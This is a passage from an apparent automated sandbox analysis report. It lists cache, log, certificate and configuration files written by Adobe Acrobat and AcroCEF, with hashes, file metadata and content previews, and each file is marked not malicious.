Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:19:34.042 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/16-11:19:34.045 efc Recovering log #3.2025/01/16-11:19:34.045 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.189160223664588
Encrypted:	false
SSDEEP:	6:iO+DtSDM+q2P92nKuAl9OmbnIFUtUDtcAOwgZmwqDtcAOwDMVkwO92nKuAl9Omb5:7+IM+v4HAahFUtUy/qdMV5LHAaSJ
MD5:	047D54892F612D4AAB20DCBF2E9387F6
SHA1:	ACFE0D2C49863CE1060F91F075BB0DA474F90A84
SHA-256:	CDCD094F7410653CBD71EFC21A36868DD6F3C35044C08D69BC3E01A6B47EB975
SHA-512:	5509E634614F8AD0E9DC2DDBEF06DD7F79B2BDCF5DD9BE300CE990254C0D05CEB09628E79D1E466C6E84DC128AF62F0E54B2524527BE78B2271A80DC69B053FF
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:19:34.042 efc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/16-11:19:34.045 efc Recovering log #3.2025/01/16-11:19:34.045 efc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.212597361587276
Encrypted:	false
SSDEEP:	6:iO+DtrN+q2P92nKuAl9Ombzo2jMGIFUtUDt94ZmwqDtxtVkwO92nKuAl9Ombzo23:7+mv4HAa8uFUtUg/qL5LHAa8RJ
MD5:	AC5F66E79F03FCFCB79947063846C0E1
SHA1:	BB7A6D43D9682817C5C9DD376D9D1DA203A2221D
SHA-256:	C375EB15584843425922B6520D50582BFC35341777ABCC24076E3F7FD01AE4D1
SHA-512:	D4D7030AC1AEB9ABB844378FA526151CA508354335F0EC33CDF63505DBF9474769FC94A16DA904CA34DE0338498116F0753085AB4CD333400E36B681813D2BE8
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:19:34.052 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/16-11:19:34.053 1c78 Recovering log #3.2025/01/16-11:19:34.054 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.212597361587276
Encrypted:	false
SSDEEP:	6:iO+DtrN+q2P92nKuAl9Ombzo2jMGIFUtUDt94ZmwqDtxtVkwO92nKuAl9Ombzo23:7+mv4HAa8uFUtUg/qL5LHAa8RJ
MD5:	AC5F66E79F03FCFCB79947063846C0E1
SHA1:	BB7A6D43D9682817C5C9DD376D9D1DA203A2221D
SHA-256:	C375EB15584843425922B6520D50582BFC35341777ABCC24076E3F7FD01AE4D1
SHA-512:	D4D7030AC1AEB9ABB844378FA526151CA508354335F0EC33CDF63505DBF9474769FC94A16DA904CA34DE0338498116F0753085AB4CD333400E36B681813D2BE8
Malicious:	false
Reputation:	low
Preview:	2025/01/16-11:19:34.052 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/16-11:19:34.053 1c78 Recovering log #3.2025/01/16-11:19:34.054 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7cbd422c-0b6a-45e1-9d7d-f43fee1ab856.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.047830295492891
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjw/2sBdOg2H02caq3QYiubxnP7E4T3OF+:Y2sRds4wzdMHq3QYhbxP7nbI+
MD5:	E76D61C604720837B7FC9CBF7C91B24F
SHA1:	2DA26F48A506EF0473B7FFE96CB123958CD1173F
SHA-256:	2E0F288298DAB52CEFFB531A71F50F9DC474CC9C538E48083364A8A9BBA046A2
SHA-512:	A19B96E1EB37DD3BAAE037B12A10E78C7EEC93C2467F0B7506707E8D7CFC27622F12ED5A03E8E6F9B1768F45163A3CF8343700BBD57182B50F088B6CD1D41ECF
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381604385496958","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":362381},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.047830295492891
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqjw/2sBdOg2H02caq3QYiubxnP7E4T3OF+:Y2sRds4wzdMHq3QYhbxP7nbI+
MD5:	E76D61C604720837B7FC9CBF7C91B24F
SHA1:	2DA26F48A506EF0473B7FFE96CB123958CD1173F
SHA-256:	2E0F288298DAB52CEFFB531A71F50F9DC474CC9C538E48083364A8A9BBA046A2
SHA-512:	A19B96E1EB37DD3BAAE037B12A10E78C7EEC93C2467F0B7506707E8D7CFC27622F12ED5A03E8E6F9B1768F45163A3CF8343700BBD57182B50F088B6CD1D41ECF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381604385496958","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":362381},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4509
Entropy (8bit):	5.229995138710558
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUu0/wYlZ9+wYZ:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLz
MD5:	4699948F1E24149A3B6D921EAADFF0FE
SHA1:	573B041FE643B0244BC03F3FD7E466C4E678DA6C
SHA-256:	1855F4A77691D7BE0185F5BBB2446E8A9D6AABD761179FD9662677B4D3E869FD
SHA-512:	B2609ACDDADA97102E4B3D409B81695C18F0CD5C06F4C57C0F434D125CF184EA40FDD05938EC35D4A8429F89199B7CEE6EFD74004EE0C929B33ACBE83CDBEB85
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.180560173231257
Encrypted:	false
SSDEEP:	6:iO+DQCiN+q2P92nKuAl9OmbzNMxIFUtUDQlZZmwqDQHHNVkwO92nKuAl9OmbzNMT:7+MCDv4HAa8jFUtUMlZ/qMHT5LHAa84J
MD5:	F563593678790D7E546E7EA2C6D679E8
SHA1:	4FB5329BA1DB9DE1DCE639B5CC9179FB0758B6C9
SHA-256:	DA89547D8CE22CFAB2CD65274EA1E237E89260C4C5BD5DC2C6B84FB41258A895
SHA-512:	03E0E3A9358ECC9EC6221C224C368E301B1A5B98B4AD0BD6DBF20FFEAFA258B1991D5AF08BB9AC32B89FD3A96CB6EF342FF2FEE7882A1E0C9F4BEDFF6464E0F3
Malicious:	false
Preview:	2025/01/16-11:19:35.010 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/16-11:19:35.025 1c78 Recovering log #3.2025/01/16-11:19:35.030 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.180560173231257
Encrypted:	false
SSDEEP:	6:iO+DQCiN+q2P92nKuAl9OmbzNMxIFUtUDQlZZmwqDQHHNVkwO92nKuAl9OmbzNMT:7+MCDv4HAa8jFUtUMlZ/qMHT5LHAa84J
MD5:	F563593678790D7E546E7EA2C6D679E8
SHA1:	4FB5329BA1DB9DE1DCE639B5CC9179FB0758B6C9
SHA-256:	DA89547D8CE22CFAB2CD65274EA1E237E89260C4C5BD5DC2C6B84FB41258A895
SHA-512:	03E0E3A9358ECC9EC6221C224C368E301B1A5B98B4AD0BD6DBF20FFEAFA258B1991D5AF08BB9AC32B89FD3A96CB6EF342FF2FEE7882A1E0C9F4BEDFF6464E0F3
Malicious:	false
Preview:	2025/01/16-11:19:35.010 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/16-11:19:35.025 1c78 Recovering log #3.2025/01/16-11:19:35.030 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250116161938Z-308.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 140 x -152 x 32, cbSize 85174, bits offset 54
Category:	dropped
Size (bytes):	85174
Entropy (8bit):	1.8561506864922546
Encrypted:	false
SSDEEP:	96:geFhanez2AeixywatXjturjMUnMDMXc0Q2MHr6bbmlGUBEBhWpvdQHq3MHyDmwAL:hFk+yUO56Cp4UqTnpWCpv1
MD5:	DFCC4D95D12D0813EFB85A6D049D59CD
SHA1:	9B77DC0FEAF49B9F8CAC64E5DAD3787CC09CE04E
SHA-256:	30AF6A8C30A8C7DA921EABE3E454A3D65D9385D049341C940F7B5327E2BB34A4
SHA-512:	E1B67AD03DD26B0CE825E74EC10C8B83F9A145D807878BAADD2BDB14BF3F20AD8C310645A0CAF3CF5051A6A5DE32F6D2A960923A8EE1F8FE3B33AC6DCB96D543
Malicious:	false
Preview:	BM.L......6...(.......h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7464849065063075
Encrypted:	false
SSDEEP:	3:kkFklNnM+kfllXlE/HT8kxhz/ltNNX8RolJuRdxLlGB9lQRYwpDdt:kK0T84hzVNMa8RdWBwRd
MD5:	493FB711E0D81359EA78EEA2E2FF6FDB
SHA1:	190098BE430172BDC2A9431B4A32DACAA5328B6B
SHA-256:	704E45E232468EDE79F08CBE684CA53F7232228511668BD678CA8396E8874A49
SHA-512:	24F59B4EB04768E728063554116353916D357CCEB1BF92EBDA985764806C865C60B954B2D03F7DAF7A253B954FE961873C67AEB4328DAA86CA443A9E5B68EC28
Malicious:	false
Preview:	p...... ...........u2h..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	228351
Entropy (8bit):	3.3898188882857125
Encrypted:	false
SSDEEP:	1536:WKPC4iyzDtrh1cK3XEivQ7VK/3AYvYwgF/rRoL+sn:DPCaH/3AYvYwglFoL+sn
MD5:	A194EAC791F88AEB4211FE5D36E32BEF
SHA1:	7CAF415E779B649EB5B9697ECC9BF368002BF3EF
SHA-256:	A7A5755E5C46164319515ED73CEC37EFB72FDE0A70EAC135DAFDA1CBA39F532A
SHA-512:	B9A545FB87F1C404CEC88EDFCB81E43C9165415CAC16360D5D9F0E90C2615F4CD2392A76A08C735CE97BC85C4D03560093B78174101F0C93F870ABFD601276AD
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3029578150373196
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJM3g98kUwPeUkwRe9:YvXKXraYpW7YGMbLUkee9
MD5:	7ECCFCE807264917EA1F8FAD99CC70DC
SHA1:	1B7D23DE6E4F043847D56B736CCA4ABBAB03BBAF
SHA-256:	9746FD3DA8AF29AF3C4F15DA335B8298CB28460C51A63704087FCEF8814873D8
SHA-512:	B33DD3E93F59AFD668DFF4194E9F59526CF4E0AFC596C4E2C549A77D800DED171D82A3816F23B82DA61EF43DCEC58149831C3F993291A2F7EEF119994C5331B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.241684685495067
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfBoTfXpnrPeUkwRe9:YvXKXraYpW7YGWTfXcUkee9
MD5:	C88945CE49361B97F0A6DF6929638208
SHA1:	C8CBC76A2F0927B29AB18C20FCF28884DB585936
SHA-256:	FD5CB92CEBB608B9CE4C7CC410EBD1F2FFD80E2B9DB66078371D91D77368D7F0
SHA-512:	47979507E089F3F20C6A4043960627A31C7B95A1254F5190D482C0FCBC9F9F3EABDF5449D9868A7F58830341CB7A5E66EECC8953FB8139A040DA49584FF3ECD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.220952479409737
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfBD2G6UpnrPeUkwRe9:YvXKXraYpW7YGR22cUkee9
MD5:	74F015D4A8323F311CAA371B3DA67067
SHA1:	29A9C8C6A5470E2EB1691E1C521260A3F61959AF
SHA-256:	A7F12F1A8315079C4385EA34123FFA8DC8B7E4B4F416955E267BEF33DBE1E7A2
SHA-512:	375BF38EAA1EAD7CE7761DBF4BA12FFE202AEBEB16668C77D94D1F92FF74825EF6903E81FB2B2F613EF6BB399C4564BA7F4E7C94CB86867B64773CB372A7C18B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.2797311989621365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfPmwrPeUkwRe9:YvXKXraYpW7YGH56Ukee9
MD5:	D3A66D19F5ACB73BF4EECDFD6E95277B
SHA1:	492FFE9A26BBEB06DC01DD0DBAD9F5B6C0A2E4C5
SHA-256:	7A2FD1DC79AF666935478CA80D864EAA6955DD1B15AA666E01CFB8A44E2A6307
SHA-512:	F3D4E93C436729D6FDCE0D5226BA82622F7CFA0681E13A2CED02100CC5EB87EBDD93845B9E2B64356E23E115FA1F574609E231369A052ED28B59100E8164EFB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687394172859414
Encrypted:	false
SSDEEP:	24:Yv6Xrvi1pLgE9cQx8LennAvzBvkn0RCmK8czOCCSb:Yvwa1hgy6SAFv5Ah8cv/b
MD5:	985860B4BC2B90011F590B0533065A84
SHA1:	9728BEFDF00B6D360A36D52791DF7A742CBE8BAA
SHA-256:	08FCA19507EEA101D5C39967F2C9C6A76D44482596653ADC8E766611EAA3C684
SHA-512:	3F87BEE9B582516F30BA11B56EA35E8A7A821550156B147DDDAD53B1400F60F212D19086C8E78DB7C851D35F79CE594F3DAFD3F72CE04449762E710558EA13C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.223538505395022
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJf8dPeUkwRe9:YvXKXraYpW7YGU8Ukee9
MD5:	061227A61BF8B7A693A9DF2E241E8631
SHA1:	A93EA7EB7E4B5D34EC81408F9265266504D7F289
SHA-256:	49E64DD4E24EA535B33346B67309A90A07E550823EDAEA9FDAAEBF3B0F321060
SHA-512:	9656C5D601CD90A1BDCA7E0CABDC67512DD0796D1E9A38B9D2D97CD4281B3ACA6168A9391B22C1741A693C7C9CEECC2814EDA5E9CA30DBEAAECE0A7BE608A377
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.225313640780422
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfQ1rPeUkwRe9:YvXKXraYpW7YGY16Ukee9
MD5:	DFC6832C8ED8FD41416D8218ED4811E3
SHA1:	C5D303C7C7CF6406E3035224BBE2F148A955FA86
SHA-256:	4B40F28B4054F6218FCF30AB4C890E2F4403509B8AA9FC6B8F9D609DA0ACD633
SHA-512:	5B8B8975CC7ECD7B0EB3191979E57558FA8E400ABB6BD70B92057131361AF3AE9FBF39DE1ED938FFC88580B5D93E98E981ABEEF5D63A124B405AC13C99464144
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.243555526796584
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfFldPeUkwRe9:YvXKXraYpW7YGz8Ukee9
MD5:	17CF71239D75A4A66C3E2C997174BC12
SHA1:	9AB7583640600F8A558289B7430247EB2DC84551
SHA-256:	998127196A236CDF928DC7F6D192F86303415C5396424D88CCD8C584B33EFFB9
SHA-512:	40CA7FE31175A2382532C94D252D4F9D591359F69031F797E1355A221E5A834CC060753AC20E5ECBD25CAA4690E37FCF1213017AA843CBCB9DEB7AE3DBA59C88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
